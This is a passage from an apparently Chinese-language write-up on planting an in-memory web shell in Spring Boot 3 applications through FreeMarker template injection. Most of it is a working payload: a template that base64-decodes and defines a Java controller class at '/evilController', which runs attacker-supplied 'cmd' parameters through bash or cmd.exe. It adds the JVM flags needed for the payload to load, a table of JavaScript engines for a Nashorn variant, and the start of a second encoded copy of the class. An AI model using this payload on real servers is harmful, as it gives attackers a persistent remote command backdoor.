<#assign evilBase64="yv66vgAAAD0BAgoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsHAA4BAEBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvU2VydmxldFJlcXVlc3RBdHRyaWJ1dGVzCgANABAMABEAEgEACmdldFJlcXVlc3QBACsoKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7CAAUAQAHb3MubmFtZQoAFgAXBwAYDAAZABoBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwkAHAAdBwAeDAAfACABABBqYXZhL3V0aWwvTG9jYWxlAQAEUk9PVAEAEkxqYXZhL3V0aWwvTG9jYWxlOwoAIgAjBwAkDAAlACYBABBqYXZhL2xhbmcvU3RyaW5nAQALdG9Mb3dlckNhc2UBACYoTGphdmEvdXRpbC9Mb2NhbGU7KUxqYXZhL2xhbmcvU3RyaW5nOwgAKAEAA3dpbgoAIgAqDAArACwBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWggALgEAA0dCSwoAMAAxBwAyDAAzADQBABhqYXZhL25pby9jaGFyc2V0L0NoYXJzZXQBAAdmb3JOYW1lAQAuKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwgANgEABVVURi04CAA4AQADY21kCwA6ADsHADwMAD0AGgEAJ2pha2FydGEvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcggAPwEACS9iaW4vYmFzaAgAQQEAAi1jCABDAQAHY21kLmV4ZQgARQEAAi9jCgBHAEgHAEkMAEoASwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwoARwBNDABOAE8BAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAUQBSBwBTDABUAFUBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsKAFcAWAcAWQwAWgBbAQATamF2YS9pby9JbnB1dFN0cmVhbQEADHJlYWRBbGxCeXRlcwEABCgpW0IKACIAXQwABQBeAQAfKFtCTGphdmEvbmlvL2NoYXJzZXQvQ2hhcnNldDspVgcAYAEAE2phdmEvaW8vSU9FeGNlcHRpb24HAGIBABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgoAYQBkDAAFAGUBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYKAGcAaAcAaQwAagBrAQAnb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL1Jlc3BvbnNlRW50aXR5AQACb2sBAD0oTGphdmEvbGFuZy9PYmplY3Q7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7CABtAQAPL2V2aWxDb250cm9sbGVyCgBvAHAHAHEMAHIAcwEAO29yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvc3VwcG9ydC9SZXF1ZXN0Q29udGV4dFV0aWxzAQAZZmluZFdlYkFwcGxpY2F0aW9uQ29udGV4dAEAYihMamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OylMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7CAB1AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwcAdwEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcLAHkAegcAewwAfAB9AQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBAAdnZXRCZWFuAQA3KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAgB/DACAAIEBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsKAIMAhAcAhQwAhgCBAQAPamF2YS9sYW5nL0NsYXNzAQANZ2V0U3VwZXJjbGFzcwgAiAEAD21hcHBpbmdSZWdpc3RyeQoAgwCKDACLAIwBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7CgCOAI8HAJAMAJEAkgEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYKAI4AlAwAlQCWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAJgBAFJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvJEJ1aWxkZXJDb25maWd1cmF0aW9uCgCXAAMHAJsBADZvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm5QYXJzZXIKAJoAAwoAlwCeDACfAKABABBzZXRQYXR0ZXJuUGFyc2VyAQA7KExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm5QYXJzZXI7KVYKAKIAowcApAwApQCmAQA9b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwEABXBhdGhzAQBcKFtMamF2YS9sYW5nL1N0cmluZzspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsHAKgBADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZAkApwCqDACrAKwBAANHRVQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNZXRob2Q7CwCuAK8HALAMALEAsgEARW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcgEAB21ldGhvZHMBAIEoW0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZDspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsLAK4AtAwAtQC2AQAHb3B0aW9ucwEAnShMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyQ29uZmlndXJhdGlvbjspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsLAK4AuAwAuQC6AQAFYnVpbGQBAEEoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwgAvAEACHJlZ2lzdGVyBwC+AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kCgCDAMAMAMEAwgEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwoAvQCPBwDFAQANbWVtQ29udHJvbGxlcggAxwEABHRlc3QKAMQAAwoAvQDKDADLAMwBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAM4BABNqYXZhL2xhbmcvRXhjZXB0aW9uCgDNANAMANEABgEAD3ByaW50U3RhY2tUcmFjZQEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAjTGNvbS9saW5neDUvbWVtU2hlbGwvbWVtQ29udHJvbGxlcjsBACsoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQAHcmVxdWVzdAEAKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAJaXNXaW5kb3dzAQABWgEAB2NoYXJzZXQBABpMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACGNtZEFycmF5AQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAGc3Rkb3V0AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAOABAAlTaWduYXR1cmUBAD8oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk8TGphdmEvbGFuZy9TdHJpbmc7PjsBAAg8Y2xpbml0PgEABFBBVEgBAAphdHRyaWJ1dGVzAQBCTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXM7AQAIcmVxdWVzdDEBABV3ZWJBcHBsaWNhdGlvbkNvbnRleHQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7AQAHbWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEAAWYBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQASTGphdmEvbGFuZy9PYmplY3Q7AQAGY29uZmlnAQBUTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlckNvbmZpZ3VyYXRpb247AQAScmVxdWVzdE1hcHBpbmdJbmZvAQA/TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87AQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZtZXRob2QBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAApTb3VyY2VGaWxlAQASbWVtQ29udHJvbGxlci5qYXZhAQAMSW5uZXJDbGFzc2VzAQAUQnVpbGRlckNvbmZpZ3VyYXRpb24BAAdCdWlsZGVyACEAxAACAAAAAAADAAEABQAGAAEA0gAAAC8AAQABAAAABSq3AAGxAAAAAgDTAAAABgABAAAAFADUAAAADAABAAAABQDVANYAAAAJAMcA1wACANIAAAF0AAQABwAAAJK4AAfAAA22AA9MEhO4ABWyABu2ACESJ7YAKT0cmQALEi24AC+nAAgSNbgAL04rEje5ADkCADoEBr0AIlkDEj5TWQQSQFNZBRkEUzoFHJkAGAa9ACJZAxJCU1kEEkRTWQUZBFM6BbgARhkFtgBMOga7ACJZGQa2AFC2AFYttwBcS6cADUy7AGFZK7cAY78quABmsAABAAAAgACDAF8AAwDTAAAANgANAAAAGAAKABkAGwAaAC0AGwA3ABwATAAdAFAAHgBlACAAbwAhAIAAJQCDACMAhAAkAI0AJgDUAAAAXAAJAAoAdgDYANkAAQAbAGUA2gDbAAIALQBTANwA3QADADcASQA4AN4ABABMADQA3wDgAAUAbwARAOEA4gAGAIAAAwDjAN4AAACEAAkA5ADlAAEAjQAFAOMA3gAAAOYAAAAqAAX+ACcABwA6AUQHADD+ADgHADAHACIHAOf/AB0AAAABBwBf/AAJBwAiAOgAAAACAOkACADqAAYAAQDSAAAB2AAHAAsAAADdEmxLuAAHwAANTCu2AA9NLLgAbk4tEnQSdrkAeAMAwAB2OgQZBLYAfrYAgrYAghKHtgCJOgUZBQS2AI0ZBRkEtgCTOga7AJdZtwCZOgcZB7sAmlm3AJy2AJ0EvQAiWQMSbFO4AKEEvQCnWQOyAKlTuQCtAgAZB7kAswIAuQC3AQA6CBkGtgB+ErsGvQCDWQMSAlNZBBICU1kFEr1TtgC/OgkZCQS2AMMSxBLGA70Ag7YAvzoKGQkZBga9AAJZAxkIU1kEuwDEWbcAyFNZBRkKU7YAyVenAAhLKrYAz7EAAQAAANQA1wDNAAMA0wAAAFIAFAAAACoAAwAtAAoALgAPAC8AFAAwACMAMQA1ADIAOwAzAEQANABNADUAWQA2AGIANwCCADkAoQA6AKcAOwC0ADwA1ABAANcAPgDYAD8A3ABCANQAAAB6AAwAAwDRAOsA3gAAAAoAygDsAO0AAQAPAMUA7gDZAAIAFADAAO8A8AADACMAsQDxAPIABAA1AJ8A8wD0AAUARACQAIgA9QAGAE0AhwD2APcABwCCAFIA+AD5AAgAoQAzALwA+gAJALQAIAD7APoACgDYAAQA5AD8AAAA5gAAAAkAAvcA1wcAzQQAAgD9AAAAAgD+AP8AAAASAAIAlwCiAQAACQCuAKIBAQYJ">
<#assign pas="T(org.springframework.cglib.core.ReflectUtils).defineClass('memController',T(java.util.Base64).getDecoder().decode('"+evilBase64+"'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()))">
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression(pas).getValue()}

springboot 3 最低支持的版本为 jdk17 直接访问 会报错

image-20250825144829861

测试加 vm 参数

--add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
--add-opens java.base/java.nio=ALL-UNNAMED
--add-opens java.base/sun.nio.ch=ALL-UNNAMED
image-20250825144432830

可以正常加载

image-20250826115407917

image-20250825144605943

JS引擎加载内存马

Nashorn 是 Oracle 在 Java 8 引入的 JavaScript 引擎,在 Java 15 被正式移除,但仍可通过插件或老版本运行时继续使用。

JDK 版本 内置 JS 引擎 可用名称 (getEngineByName) 备注
1.6–1.7 Rhino javascript, js Nashorn 尚未出现
1.8–1.14 Nashorn nashorn, javascript, js Nashorn 最终取代 Rhino
15+ —(返回 null Nashorn 移除,须手动添加引擎
17+ + GraalJS 依赖 GraalJS graal.js, js, javascript GraalVM 引擎提供多个别名
17+ + Rhino 依赖 Rhino rhino, javascript, js 取决于 Rhino 版本的别名实现
<#assign b64="yv66vgAAAD0BAgoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsHAA4BAEBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvU2VydmxldFJlcXVlc3RBdHRyaWJ1dGVzCgANABAMABEAEgEACmdldFJlcXVlc3QBACsoKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7CAAUAQAHb3MubmFtZQoAFgAXBwAYDAAZABoBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwkAHAAdBwAeDAAfACABABBqYXZhL3V0aWwvTG9jYWxlAQAEUk9PVAEAEkxqYXZhL3V0aWwvTG9jYWxlOwoAIgAjBwAkDAAlACYBABBqYXZhL2xhbmcvU3RyaW5nAQALdG9Mb3dlckNhc2UBACYoTGphdmEvdXRpbC9Mb2NhbGU7KUxqYXZhL2xhbmcvU3RyaW5nOwgAKAEAA3dpbgoAIgAqDAArACwBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWggALgEAA0dCSwoAMAAxBwAyDAAzADQBABhqYXZhL25pby9jaGFyc2V0L0NoYXJzZXQBAAdmb3JOYW1lAQAuKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwgANgEABVVURi04CAA4AQADY21kCwA6ADsHADwMAD0AGgEAJ2pha2FydGEvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcggAPwEACS9iaW4vYmFzaAgAQQEAAi1jCABDAQAHY21kLmV4ZQgARQEAAi9jCgBHAEgHAEkMAEoASwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwoARwBNDABOAE8BAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAUQBSBwBTDABUAFUBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsKAFcAWAcAWQwAWgBbAQATamF2YS9pby9JbnB1dFN0cmVhbQEADHJlYWRBbGxCeXRlcwEABCgpW0IKACIAXQwABQBeAQAfKFtCTGphdmEvbmlvL2NoYXJzZXQvQ2hhcnNldDspVgcAYAEAE2phdmEvaW8vSU9FeGNlcHRpb24HAGIBABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgoAYQBkDAAFAGUBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYKAGcAaAcAaQwAagBrAQAnb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL1Jlc3BvbnNlRW50aXR5AQACb2sBAD0oTGphdmEvbGFuZy9PYmplY3Q7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7CABtAQAPL2V2aWxDb250cm9sbGVyCgBvAHAHAHEMAHIAcwEAO29yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvc3VwcG9ydC9SZXF1ZXN0Q29udGV4dFV0aWxzAQAZZmluZFdlYkFwcGxpY2F0aW9uQ29udGV4dAEAYihMamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OylMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7CAB1AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwcAdwEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcLAHkAegcAewwAfAB9AQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBAAdnZXRCZWFuAQA3KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAgB/DACAAIEBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsKAIMAhAcAhQwAhgCBAQAPamF2YS9sYW5nL0NsYXNzAQANZ2V0U3VwZXJjbGFzcwgAiAEAD21hcHBpbmdSZWdpc3RyeQoAgwCKDACLAIwBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7CgCOAI8HAJAMAJEAkgEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYKAI4AlAwAlQCWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAJgBAFJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvJEJ1aWxkZXJDb25maWd1cmF0aW9uCgCXAAMHAJsBADZvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm5QYXJzZXIKAJoAAwoAlwCeDACfAKABABBzZXRQYXR0ZXJuUGFyc2VyAQA7KExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm5QYXJzZXI7KVYKAKIAowcApAwApQCmAQA9b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwEABXBhdGhzAQBcKFtMamF2YS9sYW5nL1N0cmluZzspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsHAKgBADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZAkApwCqDACrAKwBAANHRVQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNZXRob2Q7CwCuAK8HALAMALEAsgEARW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcgEAB21ldGhvZHMBAIEoW0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZDspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsLAK4AtAwAtQC2AQAHb3B0aW9ucwEAnShMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyQ29uZmlndXJhdGlvbjspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsLAK4AuAwAuQC6AQAFYnVpbGQBAEEoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwgAvAEACHJlZ2lzdGVyBwC+AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kCgCDAMAMAMEAwgEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwoAvQCPBwDFAQANbWVtQ29udHJvbGxlcggAxwEABHRlc3QKAMQAAwoAvQDKDADLAMwBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAM4BABNqYXZhL2xhbmcvRXhjZXB0aW9uCgDNANAMANEABgEAD3ByaW50U3RhY2tUcmFjZQEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAjTGNvbS9saW5neDUvbWVtU2hlbGwvbWVtQ29udHJvbGxlcjsBACsoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQAHcmVxdWVzdAEAKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAJaXNXaW5kb3dzAQABWgEAB2NoYXJzZXQBABpMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACGNtZEFycmF5AQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAGc3Rkb3V0AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAOABAAlTaWduYXR1cmUBAD8oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk8TGphdmEvbGFuZy9TdHJpbmc7PjsBAAg8Y2xpbml0PgEABFBBVEgBAAphdHRyaWJ1dGVzAQBCTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXM7AQAIcmVxdWVzdDEBABV3ZWJBcHBsaWNhdGlvbkNvbnRleHQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7AQAHbWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEAAWYBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQASTGphdmEvbGFuZy9PYmplY3Q7AQAGY29uZmlnAQBUTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlckNvbmZpZ3VyYXRpb247AQAScmVxdWVzdE1hcHBpbmdJbmZvAQA/TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87AQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZtZXRob2QBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAApTb3VyY2VGaWxlAQASbWVtQ29udHJvbGxlci5qYXZhAQAMSW5uZXJDbGFzc2VzAQAUQnVpbGRlckNvbmZpZ3VyYXRpb24BAAdCdWlsZGVyACEAxAACAAAAAAADAAEABQAGAAEA0gAAAC8AAQABAAAABSq3AAGxAAAAAgDTAAAABgABAAAAFADUAAAADAABAAAABQDVANYAAAAJAMcA1wACANIAAAF0AAQABwAAAJK4AAfAAA22AA9MEhO4ABWyABu2ACESJ7YAKT0cmQALEi24AC+nAAgSNbgAL04rEje5ADkCADoEBr0AIlkDEj5TWQQSQFNZBRkEUzoFHJkAGAa9ACJZAxJCU1kEEkRTWQUZBFM6BbgARhkFtgBMOga7ACJZGQa2AFC2AFYttwBcS6cADUy7AGFZK7cAY78quABmsAABAAAAgACDAF8AAwDTAAAANgANAAAAGAAKABkAGwAaAC0AGwA3ABwATAAdAFAAHgBlACAAbwAhAIAAJQCDACMAhAAkAI0AJgDUAAAAXAAJAAoAdgDYANkAAQAbAGUA2gDbAAIALQBTANwA3QADADcASQA4AN4ABABMADQA3wDgAAUAbwARAOEA4gAGAIAAAwDjAN4AAACEAAkA5ADlAAEAjQAFAOMA3gAAAOYAAAAqAAX+ACcABwA6AUQHADD+ADgHADAHACIHAOf/AB0AAAABBwBf/AAJBwAiAOgAAAACAOkACADqAAYAAQDSAAAB2AAHAAsAAADdEmxLuAAHwAANTCu2AA9NLLgAbk4tEnQSdrkAeAMAwAB2OgQZBLYAfrYAgrYAghKHtgCJOgUZBQS2AI0ZBRkEtgCTOga7AJdZtwCZOgcZB7sAmlm3AJy2AJ0EvQAiWQMSbFO4AKEEvQCnWQOyAKlTuQCtAgAZB7kAswIAuQC3AQA6CBkGtgB+ErsGvQCDWQMSAlNZBBICU1kFEr1TtgC/OgkZCQS2AMMSxBLGA70Ag7YAvzoKGQkZBga9AAJZAxkIU1kEuwDEWbcAyFNZBRkKU7YAyVenAAhLKrYAz7EAAQAAANQA1wDNAAMA0wAAAFIAFAAAACoAAwAtAAoALgAPAC8AFAAwACMAMQA1ADIAOwAzAEQANABNADUAWQA2AGIANwCCADkAoQA6AKcAOwC0ADwA1ABAANcAPgDY